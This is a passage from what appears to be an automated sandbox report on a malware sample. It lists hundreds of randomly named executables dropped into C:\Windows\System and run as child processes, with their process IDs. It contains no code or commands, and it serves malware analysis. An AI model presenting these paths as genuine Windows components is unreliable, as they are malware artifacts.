  2⤵
  - Executes dropped EXE
  PID:2560
- C:\Windows\System\GxyOAyi.exe
  C:\Windows\System\GxyOAyi.exe
  2⤵
  - Executes dropped EXE
  PID:1368
- C:\Windows\System\ZzJJPza.exe
  C:\Windows\System\ZzJJPza.exe
  2⤵
  - Executes dropped EXE
  PID:3180
- C:\Windows\System\elCZnhI.exe
  C:\Windows\System\elCZnhI.exe
  2⤵
  - Executes dropped EXE
  PID:2176
- C:\Windows\System\ezsrtJZ.exe
  C:\Windows\System\ezsrtJZ.exe
  2⤵
  - Executes dropped EXE
  PID:4656
- C:\Windows\System\VZriiPr.exe
  C:\Windows\System\VZriiPr.exe
  2⤵
  - Executes dropped EXE
  PID:776
- C:\Windows\System\BfjCzZC.exe
  C:\Windows\System\BfjCzZC.exe
  2⤵
  - Executes dropped EXE
  PID:3160
- C:\Windows\System\WTufzZR.exe
  C:\Windows\System\WTufzZR.exe
  2⤵
  - Executes dropped EXE
  PID:3748
- C:\Windows\System\SKaHrsP.exe
  C:\Windows\System\SKaHrsP.exe
  2⤵
  - Executes dropped EXE
  PID:5008
- C:\Windows\System\ohAOwhX.exe
  C:\Windows\System\ohAOwhX.exe
  2⤵
  - Executes dropped EXE
  PID:1364
- C:\Windows\System\MMCYNDj.exe
  C:\Windows\System\MMCYNDj.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\hbIkJSi.exe
  C:\Windows\System\hbIkJSi.exe
  2⤵
  - Executes dropped EXE
  PID:2224
- C:\Windows\System\sAcMIWI.exe
  C:\Windows\System\sAcMIWI.exe
  2⤵
  - Executes dropped EXE
  PID:4832
- C:\Windows\System\dotgzFc.exe
  C:\Windows\System\dotgzFc.exe
  2⤵
  - Executes dropped EXE
  PID:1896
- C:\Windows\System\wZWWyTI.exe
  C:\Windows\System\wZWWyTI.exe
  2⤵
  - Executes dropped EXE
  PID:4708
- C:\Windows\System\fGtYunD.exe
  C:\Windows\System\fGtYunD.exe
  2⤵
  - Executes dropped EXE
  PID:864
- C:\Windows\System\UzHPBUy.exe
  C:\Windows\System\UzHPBUy.exe
  2⤵
  - Executes dropped EXE
  PID:1504
- C:\Windows\System\cZigSiR.exe
  C:\Windows\System\cZigSiR.exe
  2⤵
  - Executes dropped EXE
  PID:4496
- C:\Windows\System\ivYzrQs.exe
  C:\Windows\System\ivYzrQs.exe
  2⤵
  - Executes dropped EXE
  PID:1720
- C:\Windows\System\QpiUYKk.exe
  C:\Windows\System\QpiUYKk.exe
  2⤵
  - Executes dropped EXE
  PID:4488
- C:\Windows\System\aSidvxC.exe
  C:\Windows\System\aSidvxC.exe
  2⤵
  - Executes dropped EXE
  PID:4428
- C:\Windows\System\DyzyoWL.exe
  C:\Windows\System\DyzyoWL.exe
  2⤵
  - Executes dropped EXE
  PID:3240
- C:\Windows\System\vTZpjGY.exe
  C:\Windows\System\vTZpjGY.exe
  2⤵
  - Executes dropped EXE
  PID:2200
- C:\Windows\System\eYHFLMg.exe
  C:\Windows\System\eYHFLMg.exe
  2⤵
  - Executes dropped EXE
  PID:3176
- C:\Windows\System\jcrjtHd.exe
  C:\Windows\System\jcrjtHd.exe
  2⤵
  - Executes dropped EXE
  PID:3420
- C:\Windows\System\VFJNmql.exe
  C:\Windows\System\VFJNmql.exe
  2⤵
  - Executes dropped EXE
  PID:2940
- C:\Windows\System\YGdGamw.exe
  C:\Windows\System\YGdGamw.exe
  2⤵
  - Executes dropped EXE
  PID:3648
- C:\Windows\System\mlJsbXI.exe
  C:\Windows\System\mlJsbXI.exe
  2⤵
  - Executes dropped EXE
  PID:3848
- C:\Windows\System\gEvnifj.exe
  C:\Windows\System\gEvnifj.exe
  2⤵
  - Executes dropped EXE
  PID:4964
- C:\Windows\System\QifYTDJ.exe
  C:\Windows\System\QifYTDJ.exe
  2⤵
  - Executes dropped EXE
  PID:2388
- C:\Windows\System\UAUgTcl.exe
  C:\Windows\System\UAUgTcl.exe
  2⤵
  - Executes dropped EXE
  PID:4320
- C:\Windows\System\KRWdOGO.exe
  C:\Windows\System\KRWdOGO.exe
  2⤵
  - Executes dropped EXE
  PID:4492
- C:\Windows\System\nQOyuRJ.exe
  C:\Windows\System\nQOyuRJ.exe
  2⤵
  - Executes dropped EXE
  PID:4804
- C:\Windows\System\mUbuKYQ.exe
  C:\Windows\System\mUbuKYQ.exe
  2⤵
  - Executes dropped EXE
  PID:4024
- C:\Windows\System\AnTWbmT.exe
  C:\Windows\System\AnTWbmT.exe
  2⤵
  - Executes dropped EXE
  PID:4668
- C:\Windows\System\ssMaoQF.exe
  C:\Windows\System\ssMaoQF.exe
  2⤵
  - Executes dropped EXE
  PID:1616
- C:\Windows\System\QMVqZFI.exe
  C:\Windows\System\QMVqZFI.exe
  2⤵
  - Executes dropped EXE
  PID:2172
- C:\Windows\System\pcuNefp.exe
  C:\Windows\System\pcuNefp.exe
  2⤵
  - Executes dropped EXE
  PID:4564
- C:\Windows\System\JEvnMys.exe
  C:\Windows\System\JEvnMys.exe
  2⤵
  - Executes dropped EXE
  PID:3664
- C:\Windows\System\fOlSsOq.exe
  C:\Windows\System\fOlSsOq.exe
  2⤵
  - Executes dropped EXE
  PID:3308
- C:\Windows\System\sGDlDeZ.exe
  C:\Windows\System\sGDlDeZ.exe
  2⤵
  - Executes dropped EXE
  PID:2936
- C:\Windows\System\BmTNkjj.exe
  C:\Windows\System\BmTNkjj.exe
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Windows\System\lgHdQRU.exe
  C:\Windows\System\lgHdQRU.exe
  2⤵
  - Executes dropped EXE
  PID:4036
- C:\Windows\System\gdtLzlT.exe
  C:\Windows\System\gdtLzlT.exe
  2⤵
  - Executes dropped EXE
  PID:4780
- C:\Windows\System\nlMouRl.exe
  C:\Windows\System\nlMouRl.exe
  2⤵
  - Executes dropped EXE
  PID:3904
- C:\Windows\System\bIReGaK.exe
  C:\Windows\System\bIReGaK.exe
  2⤵
  - Executes dropped EXE
  PID:3588
- C:\Windows\System\etsgYxs.exe
  C:\Windows\System\etsgYxs.exe
  2⤵
  - Executes dropped EXE
  PID:3192
- C:\Windows\System\bhXfrHS.exe
  C:\Windows\System\bhXfrHS.exe
  2⤵
  - Executes dropped EXE
  PID:4392
- C:\Windows\System\VRRuoal.exe
  C:\Windows\System\VRRuoal.exe
  2⤵
  - Executes dropped EXE
  PID:4512
- C:\Windows\System\SlvZiXI.exe
  C:\Windows\System\SlvZiXI.exe
  2⤵
  - Executes dropped EXE
  PID:1268
- C:\Windows\System\HfzDtMI.exe
  C:\Windows\System\HfzDtMI.exe
  2⤵
  - Executes dropped EXE
  PID:4608
- C:\Windows\System\xBwLQcX.exe
  C:\Windows\System\xBwLQcX.exe
  2⤵
  PID:3692
- C:\Windows\System\qTZXZXf.exe
  C:\Windows\System\qTZXZXf.exe
  2⤵
  PID:2072
- C:\Windows\System\RQTSRQb.exe
  C:\Windows\System\RQTSRQb.exe
  2⤵
  PID:4732
- C:\Windows\System\WrdayVX.exe
  C:\Windows\System\WrdayVX.exe
  2⤵
  PID:4352
- C:\Windows\System\mToYRrY.exe
  C:\Windows\System\mToYRrY.exe
  2⤵
  PID:2964
- C:\Windows\System\BkETYRN.exe
  C:\Windows\System\BkETYRN.exe
  2⤵
  PID:3956
- C:\Windows\System\woLHnnx.exe
  C:\Windows\System\woLHnnx.exe
  2⤵
  PID:2404
- C:\Windows\System\BYLvuHZ.exe
  C:\Windows\System\BYLvuHZ.exe
  2⤵
  PID:1108
- C:\Windows\System\rRVKjSJ.exe
  C:\Windows\System\rRVKjSJ.exe
  2⤵
  PID:4348
- C:\Windows\System\dZcxFEF.exe
  C:\Windows\System\dZcxFEF.exe
  2⤵
  PID:3812
- C:\Windows\System\lMOHcQG.exe
  C:\Windows\System\lMOHcQG.exe
  2⤵
  PID:436
- C:\Windows\System\yYTKprL.exe
  C:\Windows\System\yYTKprL.exe
  2⤵
  PID:4476
- C:\Windows\System\FbqZxEs.exe
  C:\Windows\System\FbqZxEs.exe
  2⤵
  PID:3488
- C:\Windows\System\xNpGcxP.exe
  C:\Windows\System\xNpGcxP.exe
  2⤵
  PID:4652
- C:\Windows\System\przLnee.exe
  C:\Windows\System\przLnee.exe
  2⤵
  PID:4756
- C:\Windows\System\wmVDcMj.exe
  C:\Windows\System\wmVDcMj.exe
  2⤵
  PID:1472
- C:\Windows\System\dSUvsnD.exe
  C:\Windows\System\dSUvsnD.exe
  2⤵
  PID:4372
- C:\Windows\System\tJiahWN.exe
  C:\Windows\System\tJiahWN.exe
  2⤵
  PID:3000
- C:\Windows\System\BrZNgUf.exe
  C:\Windows\System\BrZNgUf.exe
  2⤵
  PID:3408
- C:\Windows\System\pHrgAbE.exe
  C:\Windows\System\pHrgAbE.exe
  2⤵
  PID:2972
- C:\Windows\System\TvNaFOh.exe
  C:\Windows\System\TvNaFOh.exe
  2⤵
  PID:2400
- C:\Windows\System\vAOgSMc.exe
  C:\Windows\System\vAOgSMc.exe
  2⤵
  PID:220
- C:\Windows\System\RTzsmbC.exe
  C:\Windows\System\RTzsmbC.exe
  2⤵
  PID:4200
- C:\Windows\System\GFMmLZt.exe
  C:\Windows\System\GFMmLZt.exe
  2⤵
  PID:3028
- C:\Windows\System\pDtrGBi.exe
  C:\Windows\System\pDtrGBi.exe
  2⤵
  PID:3156
- C:\Windows\System\mDmVLWK.exe
  C:\Windows\System\mDmVLWK.exe
  2⤵
  PID:1936
- C:\Windows\System\KvhtZKa.exe
  C:\Windows\System\KvhtZKa.exe
  2⤵
  PID:4868
- C:\Windows\System\HvbJwBM.exe
  C:\Windows\System\HvbJwBM.exe
  2⤵
  PID:3568
- C:\Windows\System\CbaeCLX.exe
  C:\Windows\System\CbaeCLX.exe
  2⤵
  PID:2552
- C:\Windows\System\UzinycO.exe
  C:\Windows\System\UzinycO.exe
  2⤵
  PID:1312
- C:\Windows\System\KiIoDRx.exe
  C:\Windows\System\KiIoDRx.exe
  2⤵
  PID:4368
- C:\Windows\System\vvTcMCI.exe
  C:\Windows\System\vvTcMCI.exe
  2⤵
  PID:4484
- C:\Windows\System\RevktQF.exe
  C:\Windows\System\RevktQF.exe
  2⤵
  PID:2300
- C:\Windows\System\Mtyjmzq.exe
  C:\Windows\System\Mtyjmzq.exe
  2⤵
  PID:4424
- C:\Windows\System\wDBFunx.exe
  C:\Windows\System\wDBFunx.exe
  2⤵
  PID:1064
- C:\Windows\System\vRuSeiR.exe
  C:\Windows\System\vRuSeiR.exe
  2⤵
  PID:5084
- C:\Windows\System\NvilWUj.exe
  C:\Windows\System\NvilWUj.exe
  2⤵
  PID:4160
- C:\Windows\System\muHtUUD.exe
  C:\Windows\System\muHtUUD.exe
  2⤵
  PID:2804
- C:\Windows\System\JAwuRVv.exe
  C:\Windows\System\JAwuRVv.exe
  2⤵
  PID:4360
- C:\Windows\System\FRKNDNG.exe
  C:\Windows\System\FRKNDNG.exe
  2⤵
  PID:4644
- C:\Windows\System\AaKvhcK.exe
  C:\Windows\System\AaKvhcK.exe
  2⤵
  PID:1716
- C:\Windows\System\rdcfMNW.exe
  C:\Windows\System\rdcfMNW.exe
  2⤵
  PID:4364
- C:\Windows\System\CaGUQqd.exe
  C:\Windows\System\CaGUQqd.exe
  2⤵
  PID:4740
- C:\Windows\System\hjmNCUX.exe
  C:\Windows\System\hjmNCUX.exe
  2⤵
  PID:5152
- C:\Windows\System\VbeFonr.exe
  C:\Windows\System\VbeFonr.exe
  2⤵
  PID:5168
- C:\Windows\System\qRFpRvw.exe
  C:\Windows\System\qRFpRvw.exe
  2⤵
  PID:5208
- C:\Windows\System\NhBArHG.exe
  C:\Windows\System\NhBArHG.exe
  2⤵
  PID:5224
- C:\Windows\System\jDfIeBu.exe
  C:\Windows\System\jDfIeBu.exe
  2⤵
  PID:5256
- C:\Windows\System\LkypHaS.exe
  C:\Windows\System\LkypHaS.exe
  2⤵
  PID:5280
- C:\Windows\System\kdhwXfu.exe
  C:\Windows\System\kdhwXfu.exe
  2⤵
  PID:5316
- C:\Windows\System\rNyHLNI.exe
  C:\Windows\System\rNyHLNI.exe
  2⤵
  PID:5336
- C:\Windows\System\yGIGLoA.exe
  C:\Windows\System\yGIGLoA.exe
  2⤵
  PID:5380
- C:\Windows\System\gfsqbwC.exe
  C:\Windows\System\gfsqbwC.exe
  2⤵
  PID:5420
- C:\Windows\System\KuAOkRL.exe
  C:\Windows\System\KuAOkRL.exe
  2⤵
  PID:5440
- C:\Windows\System\BpIeFGW.exe
  C:\Windows\System\BpIeFGW.exe
  2⤵
  PID:5476
- C:\Windows\System\fBIZNfc.exe
  C:\Windows\System\fBIZNfc.exe
  2⤵
  PID:5508
- C:\Windows\System\Wttpspf.exe
  C:\Windows\System\Wttpspf.exe
  2⤵
  PID:5532
- C:\Windows\System\tOjBeQj.exe
  C:\Windows\System\tOjBeQj.exe
  2⤵
  PID:5548
- C:\Windows\System\oslHtFy.exe
  C:\Windows\System\oslHtFy.exe
  2⤵
  PID:5568
- C:\Windows\System\vvkZWdE.exe
  C:\Windows\System\vvkZWdE.exe
  2⤵
  PID:5612
- C:\Windows\System\YlLaFAt.exe
  C:\Windows\System\YlLaFAt.exe
  2⤵
  PID:5632
- C:\Windows\System\wFvGpjt.exe
  C:\Windows\System\wFvGpjt.exe
  2⤵
  PID:5648
- C:\Windows\System\AwmFNxm.exe
  C:\Windows\System\AwmFNxm.exe
  2⤵
  PID:5676
- C:\Windows\System\XEJryWk.exe
  C:\Windows\System\XEJryWk.exe
  2⤵
  PID:5724
- C:\Windows\System\yxGAHKS.exe
  C:\Windows\System\yxGAHKS.exe
  2⤵
  PID:5748
- C:\Windows\System\aNnyqCH.exe
  C:\Windows\System\aNnyqCH.exe
  2⤵
  PID:5784
- C:\Windows\System\NcTTmZk.exe
  C:\Windows\System\NcTTmZk.exe
  2⤵
  PID:5812
- C:\Windows\System\SgIQWhj.exe
  C:\Windows\System\SgIQWhj.exe
  2⤵
  PID:5840
- C:\Windows\System\dzTUBqY.exe
  C:\Windows\System\dzTUBqY.exe
  2⤵
  PID:5856
- C:\Windows\System\AtdBsQR.exe
  C:\Windows\System\AtdBsQR.exe
  2⤵
  PID:5896
- C:\Windows\System\jUBexEw.exe
  C:\Windows\System\jUBexEw.exe
  2⤵
  PID:5920
- C:\Windows\System\bFhAdDO.exe
  C:\Windows\System\bFhAdDO.exe
  2⤵
  PID:5940
- C:\Windows\System\IyJngIg.exe
  C:\Windows\System\IyJngIg.exe
  2⤵
  PID:5964
- C:\Windows\System\nvtdUVu.exe
  C:\Windows\System\nvtdUVu.exe
  2⤵
  PID:5992
- C:\Windows\System\rdxzqJQ.exe
  C:\Windows\System\rdxzqJQ.exe
  2⤵
  PID:6008
- C:\Windows\System\pTEaIxK.exe
  C:\Windows\System\pTEaIxK.exe
  2⤵
  PID:6040
- C:\Windows\System\OgQzFBf.exe
  C:\Windows\System\OgQzFBf.exe
  2⤵
  PID:6060
- C:\Windows\System\SnTwHIS.exe
  C:\Windows\System\SnTwHIS.exe
  2⤵
  PID:6092
- C:\Windows\System\hSFRKJK.exe
  C:\Windows\System\hSFRKJK.exe
  2⤵
  PID:6124
- C:\Windows\System\PHpxTRb.exe
  C:\Windows\System\PHpxTRb.exe
  2⤵
  PID:5144
- C:\Windows\System\OsHDJoe.exe
  C:\Windows\System\OsHDJoe.exe
  2⤵
  PID:5192
- C:\Windows\System\vxYyuMP.exe
  C:\Windows\System\vxYyuMP.exe
  2⤵
  PID:5252
- C:\Windows\System\kEAZPzI.exe
  C:\Windows\System\kEAZPzI.exe
  2⤵
  PID:5332
- C:\Windows\System\XQBksQd.exe
  C:\Windows\System\XQBksQd.exe
  2⤵
  PID:5408
- C:\Windows\System\bFHtsHy.exe
  C:\Windows\System\bFHtsHy.exe
  2⤵
  PID:5496
- C:\Windows\System\pXZJIas.exe
  C:\Windows\System\pXZJIas.exe
  2⤵
  PID:5604
- C:\Windows\System\spYQfPO.exe
  C:\Windows\System\spYQfPO.exe
  2⤵
  PID:5644
- C:\Windows\System\WGrzfzt.exe
  C:\Windows\System\WGrzfzt.exe
  2⤵
  PID:5700
- C:\Windows\System\lXYdueq.exe
  C:\Windows\System\lXYdueq.exe
  2⤵
  PID:5796
- C:\Windows\System\zlpjfrG.exe
  C:\Windows\System\zlpjfrG.exe
  2⤵
  PID:5892
- C:\Windows\System\DQaBIjL.exe
  C:\Windows\System\DQaBIjL.exe
  2⤵
  PID:5960
- C:\Windows\System\uWaamrM.exe
  C:\Windows\System\uWaamrM.exe
  2⤵
  PID:6000
- C:\Windows\System\xLknaoN.exe
  C:\Windows\System\xLknaoN.exe
  2⤵
  PID:6088
- C:\Windows\System\Kgwtjyy.exe
  C:\Windows\System\Kgwtjyy.exe
  2⤵
  PID:5188
- C:\Windows\System\RHAhAyN.exe
  C:\Windows\System\RHAhAyN.exe
  2⤵
  PID:5180
- C:\Windows\System\qeegeSB.exe
  C:\Windows\System\qeegeSB.exe
  2⤵
  PID:5328
- C:\Windows\System\OEWZBda.exe
  C:\Windows\System\OEWZBda.exe
  2⤵
  PID:5640
- C:\Windows\System\RGKpBGh.exe
  C:\Windows\System\RGKpBGh.exe
  2⤵
  PID:5768
- C:\Windows\System\aacsZJs.exe
  C:\Windows\System\aacsZJs.exe
  2⤵
  PID:5904
- C:\Windows\System\Ivypoun.exe
  C:\Windows\System\Ivypoun.exe
  2⤵
  PID:4556
- C:\Windows\System\YIiBGps.exe
  C:\Windows\System\YIiBGps.exe
  2⤵
  PID:5240
- C:\Windows\System\xRpQWjS.exe
  C:\Windows\System\xRpQWjS.exe
  2⤵
  PID:5696
- C:\Windows\System\SUtEKrW.exe
  C:\Windows\System\SUtEKrW.exe
  2⤵
  PID:6048
- C:\Windows\System\hJSElEC.exe
  C:\Windows\System\hJSElEC.exe
  2⤵
  PID:5576
- C:\Windows\System\zkaKGbJ.exe
  C:\Windows\System\zkaKGbJ.exe
  2⤵
  PID:5524
- C:\Windows\System\RUKLfhY.exe
  C:\Windows\System\RUKLfhY.exe
  2⤵
  PID:6176
- C:\Windows\System\PxOkiRr.exe
  C:\Windows\System\PxOkiRr.exe
  2⤵
  PID:6192
- C:\Windows\System\WrVtVPi.exe
  C:\Windows\System\WrVtVPi.exe
  2⤵
  PID:6232
- C:\Windows\System\jnxYqtB.exe
  C:\Windows\System\jnxYqtB.exe
  2⤵
  PID:6248
- C:\Windows\System\pXDiqrL.exe
  C:\Windows\System\pXDiqrL.exe
  2⤵
  PID:6264
- C:\Windows\System\hTJKPVE.exe
  C:\Windows\System\hTJKPVE.exe
  2⤵
  PID:6280
- C:\Windows\System\llDChAf.exe
  C:\Windows\System\llDChAf.exe
  2⤵
  PID:6300
- C:\Windows\System\ogjmRdX.exe
  C:\Windows\System\ogjmRdX.exe
  2⤵
  PID:6316
- C:\Windows\System\IRhlTZk.exe
  C:\Windows\System\IRhlTZk.exe
  2⤵
  PID:6344
- C:\Windows\System\gdmAYIM.exe
  C:\Windows\System\gdmAYIM.exe
  2⤵
  PID:6368
- C:\Windows\System\oxfCNoz.exe
  C:\Windows\System\oxfCNoz.exe
  2⤵
  PID:6408
- C:\Windows\System\QKeJqgl.exe
  C:\Windows\System\QKeJqgl.exe
  2⤵
  PID:6436
- C:\Windows\System\sHItEbp.exe
  C:\Windows\System\sHItEbp.exe
  2⤵
  PID:6456
- C:\Windows\System\acchSvp.exe
  C:\Windows\System\acchSvp.exe
  2⤵
  PID:6500
- C:\Windows\System\RoxUEar.exe
  C:\Windows\System\RoxUEar.exe
  2⤵
  PID:6548
- C:\Windows\System\RyDOswT.exe
  C:\Windows\System\RyDOswT.exe
  2⤵
  PID:6584
- C:\Windows\System\aRlWewx.exe
  C:\Windows\System\aRlWewx.exe
  2⤵
  PID:6612
- C:\Windows\System\MvOzckc.exe
  C:\Windows\System\MvOzckc.exe
  2⤵
  PID:6640
- C:\Windows\System\NKuhTjg.exe
  C:\Windows\System\NKuhTjg.exe
  2⤵
  PID:6676
- C:\Windows\System\wMbdEdW.exe
  C:\Windows\System\wMbdEdW.exe
  2⤵
  PID:6696
- C:\Windows\System\gOPzizR.exe
  C:\Windows\System\gOPzizR.exe
  2⤵
  PID:6736
- C:\Windows\System\EgzorFs.exe
  C:\Windows\System\EgzorFs.exe
  2⤵
  PID:6752
- C:\Windows\System\qchYRXr.exe
  C:\Windows\System\qchYRXr.exe
  2⤵
  PID:6788
- C:\Windows\System\oFuiBGB.exe
  C:\Windows\System\oFuiBGB.exe
  2⤵
  PID:6808
- C:\Windows\System\tNNagBc.exe
  C:\Windows\System\tNNagBc.exe
  2⤵
  PID:6824
- C:\Windows\System\TmDQfDv.exe
  C:\Windows\System\TmDQfDv.exe
  2⤵
  PID:6864
- C:\Windows\System\cNwQKwq.exe
  C:\Windows\System\cNwQKwq.exe
  2⤵
  PID:6904
- C:\Windows\System\YavsWqO.exe
  C:\Windows\System\YavsWqO.exe
  2⤵
  PID:6924
- C:\Windows\System\syhFwHx.exe
  C:\Windows\System\syhFwHx.exe
  2⤵
  PID:6952
- C:\Windows\System\iQVTuPK.exe
  C:\Windows\System\iQVTuPK.exe
  2⤵
  PID:6988
- C:\Windows\System\ZdMFKfG.exe
  C:\Windows\System\ZdMFKfG.exe
  2⤵
  PID:7016
- C:\Windows\System\JwcJVQj.exe
  C:\Windows\System\JwcJVQj.exe
  2⤵
  PID:7036
- C:\Windows\System\hIXVkrw.exe
  C:\Windows\System\hIXVkrw.exe
  2⤵
  PID:7052
- C:\Windows\System\oSJCFyP.exe
  C:\Windows\System\oSJCFyP.exe
  2⤵
  PID:7100
- C:\Windows\System\NASAtVU.exe
  C:\Windows\System\NASAtVU.exe
  2⤵
  PID:7124
- C:\Windows\System\hoKwTEB.exe
  C:\Windows\System\hoKwTEB.exe
  2⤵
  PID:7152
- C:\Windows\System\QBcXQdx.exe
  C:\Windows\System\QBcXQdx.exe
  2⤵
  PID:6156
- C:\Windows\System\KuKAAan.exe
  C:\Windows\System\KuKAAan.exe
  2⤵
  PID:6240
- C:\Windows\System\FHhejLx.exe
  C:\Windows\System\FHhejLx.exe
  2⤵
  PID:6296
- C:\Windows\System\naxVBLN.exe
  C:\Windows\System\naxVBLN.exe
  2⤵
  PID:6360
- C:\Windows\System\LkSFVav.exe
  C:\Windows\System\LkSFVav.exe
  2⤵
  PID:6380
- C:\Windows\System\vHePaaY.exe
  C:\Windows\System\vHePaaY.exe
  2⤵
  PID:6448
- C:\Windows\System\WtFhsPb.exe
  C:\Windows\System\WtFhsPb.exe
  2⤵
  PID:6576
- C:\Windows\System\KJCwVgy.exe
  C:\Windows\System\KJCwVgy.exe
  2⤵
  PID:6572
- C:\Windows\System\sXOxuzM.exe
  C:\Windows\System\sXOxuzM.exe
  2⤵
  PID:6656
- C:\Windows\System\DsnmOaZ.exe
  C:\Windows\System\DsnmOaZ.exe
  2⤵
  PID:6708
- C:\Windows\System\mAiowin.exe
  C:\Windows\System\mAiowin.exe
  2⤵
  PID:6800
- C:\Windows\System\PFxEKvS.exe
  C:\Windows\System\PFxEKvS.exe
  2⤵
  PID:6876
- C:\Windows\System\IhMjEhU.exe
  C:\Windows\System\IhMjEhU.exe
  2⤵
  PID:6980
- C:\Windows\System\eMzhUVe.exe
  C:\Windows\System\eMzhUVe.exe
  2⤵
  PID:7008
- C:\Windows\System\fpfISaQ.exe
  C:\Windows\System\fpfISaQ.exe
  2⤵
  PID:7112
- C:\Windows\System\OJOoomW.exe
  C:\Windows\System\OJOoomW.exe
  2⤵
  PID:1832
- C:\Windows\System\IdHpQUi.exe
  C:\Windows\System\IdHpQUi.exe
  2⤵
  PID:6148
- C:\Windows\System\BlvAnWK.exe
  C:\Windows\System\BlvAnWK.exe
  2⤵
  PID:6312
- C:\Windows\System\RIhNdOl.exe
  C:\Windows\System\RIhNdOl.exe
  2⤵
  PID:6488
- C:\Windows\System\pffcttv.exe
  C:\Windows\System\pffcttv.exe
  2⤵
  PID:6692
- C:\Windows\System\WaOZSyZ.exe
  C:\Windows\System\WaOZSyZ.exe
  2⤵
  PID:6820
- C:\Windows\System\aIOzVPj.exe
  C:\Windows\System\aIOzVPj.exe
  2⤵
  PID:7028
- C:\Windows\System\mbbedsM.exe
  C:\Windows\System\mbbedsM.exe
  2⤵
  PID:7108
- C:\Windows\System\iBOdIfo.exe
  C:\Windows\System\iBOdIfo.exe
  2⤵
  PID:6444
- C:\Windows\System\qZhwfkQ.exe
  C:\Windows\System\qZhwfkQ.exe
  2⤵
  PID:6848
- C:\Windows\System\wMBcfws.exe
  C:\Windows\System\wMBcfws.exe
  2⤵
  PID:7120
- C:\Windows\System\QxnTcht.exe
  C:\Windows\System\QxnTcht.exe
  2⤵
  PID:5468
- C:\Windows\System\zejUKRQ.exe
  C:\Windows\System\zejUKRQ.exe
  2⤵
  PID:6944
- C:\Windows\System\aOcXwNM.exe
  C:\Windows\System\aOcXwNM.exe
  2⤵
  PID:3760
- C:\Windows\System\wruLCJU.exe
  C:\Windows\System\wruLCJU.exe
  2⤵
  PID:7140
- C:\Windows\System\hgPJugh.exe
  C:\Windows\System\hgPJugh.exe
  2⤵
  PID:7184
- C:\Windows\System\UixrWwC.exe
  C:\Windows\System\UixrWwC.exe
  2⤵
  PID:7220
- C:\Windows\System\KObkrOu.exe
  C:\Windows\System\KObkrOu.exe
  2⤵
  PID:7240
- C:\Windows\System\XZLHLGu.exe
  C:\Windows\System\XZLHLGu.exe
  2⤵
  PID:7268
- C:\Windows\System\TfjDhMG.exe
  C:\Windows\System\TfjDhMG.exe
  2⤵
  PID:7296
- C:\Windows\System\uEBYHIw.exe
  C:\Windows\System\uEBYHIw.exe
  2⤵
  PID:7328
- C:\Windows\System\uIdeYQj.exe
  C:\Windows\System\uIdeYQj.exe
  2⤵
  PID:7356
- C:\Windows\System\IIrQqfX.exe
  C:\Windows\System\IIrQqfX.exe
  2⤵
  PID:7384
- C:\Windows\System\DoIgCqP.exe
  C:\Windows\System\DoIgCqP.exe
  2⤵
  PID:7412
- C:\Windows\System\rItfLwd.exe
  C:\Windows\System\rItfLwd.exe
  2⤵
  PID:7440
- C:\Windows\System\kVSJLfs.exe
  C:\Windows\System\kVSJLfs.exe
  2⤵
  PID:7472
- C:\Windows\System\oLWiZAl.exe
  C:\Windows\System\oLWiZAl.exe
  2⤵
  PID:7500
- C:\Windows\System\vGizzpU.exe
  C:\Windows\System\vGizzpU.exe
  2⤵
  PID:7528
- C:\Windows\System\iXfYLuz.exe
  C:\Windows\System\iXfYLuz.exe
  2⤵
  PID:7556
- C:\Windows\System\aWoDMMI.exe
  C:\Windows\System\aWoDMMI.exe
  2⤵
  PID:7584
- C:\Windows\System\rszLVwM.exe
  C:\Windows\System\rszLVwM.exe
  2⤵
  PID:7608
- C:\Windows\System\gCGWzws.exe
  C:\Windows\System\gCGWzws.exe
  2⤵
  PID:7640
- C:\Windows\System\TGKkpHR.exe
  C:\Windows\System\TGKkpHR.exe
  2⤵
  PID:7664
- C:\Windows\System\GkahZxd.exe
  C:\Windows\System\GkahZxd.exe
  2⤵
  PID:7692
- C:\Windows\System\ooDbkNu.exe
  C:\Windows\System\ooDbkNu.exe
  2⤵
  PID:7728
- C:\Windows\System\IfoAwJv.exe
  C:\Windows\System\IfoAwJv.exe
  2⤵
  PID:7752
- C:\Windows\System\siYyqKE.exe
  C:\Windows\System\siYyqKE.exe
  2⤵
  PID:7780
- C:\Windows\System\TQHcbBA.exe
  C:\Windows\System\TQHcbBA.exe
  2⤵
  PID:7804
- C:\Windows\System\tAsNmhI.exe
  C:\Windows\System\tAsNmhI.exe
  2⤵
  PID:7832
- C:\Windows\System\myHqRFK.exe
  C:\Windows\System\myHqRFK.exe
  2⤵
  PID:7860
- C:\Windows\System\NwWYASS.exe
  C:\Windows\System\NwWYASS.exe
  2⤵
  PID:7896
- C:\Windows\System\KRSmToa.exe
  C:\Windows\System\KRSmToa.exe
  2⤵
  PID:7928
- C:\Windows\System\rtAuXhN.exe
  C:\Windows\System\rtAuXhN.exe
  2⤵
  PID:7960
- C:\Windows\System\ukzOvTT.exe
  C:\Windows\System\ukzOvTT.exe
  2⤵
  PID:7988
- C:\Windows\System\ImNuBoG.exe
  C:\Windows\System\ImNuBoG.exe
  2⤵
  PID:8016
- C:\Windows\System\aDdBdVx.exe
  C:\Windows\System\aDdBdVx.exe
  2⤵
  PID:8040
- C:\Windows\System\HcFlJJd.exe
  C:\Windows\System\HcFlJJd.exe
  2⤵
  PID:8068
- C:\Windows\System\PdjwWYj.exe
  C:\Windows\System\PdjwWYj.exe
  2⤵
  PID:8096
- C:\Windows\System\EqkZxKt.exe
  C:\Windows\System\EqkZxKt.exe
  2⤵
  PID:8124
- C:\Windows\System\UAHAINo.exe
  C:\Windows\System\UAHAINo.exe
  2⤵
  PID:8152
- C:\Windows\System\InBqQmL.exe
  C:\Windows\System\InBqQmL.exe
  2⤵
  PID:8180
- C:\Windows\System\ONNbAZV.exe
  C:\Windows\System\ONNbAZV.exe
  2⤵
  PID:7204
- C:\Windows\System\OVBMTxE.exe
  C:\Windows\System\OVBMTxE.exe
  2⤵
  PID:7260
- C:\Windows\System\nGlEopm.exe
  C:\Windows\System\nGlEopm.exe
  2⤵
  PID:7336
- C:\Windows\System\AhxqbFJ.exe
  C:\Windows\System\AhxqbFJ.exe
  2⤵
  PID:7396
- C:\Windows\System\lDboWlc.exe
  C:\Windows\System\lDboWlc.exe
  2⤵
  PID:7460
- C:\Windows\System\Rpoaqyc.exe
  C:\Windows\System\Rpoaqyc.exe
  2⤵
  PID:7516
- C:\Windows\System\NLYqeXp.exe
  C:\Windows\System\NLYqeXp.exe
  2⤵
  PID:7572
- C:\Windows\System\ckctBgx.exe
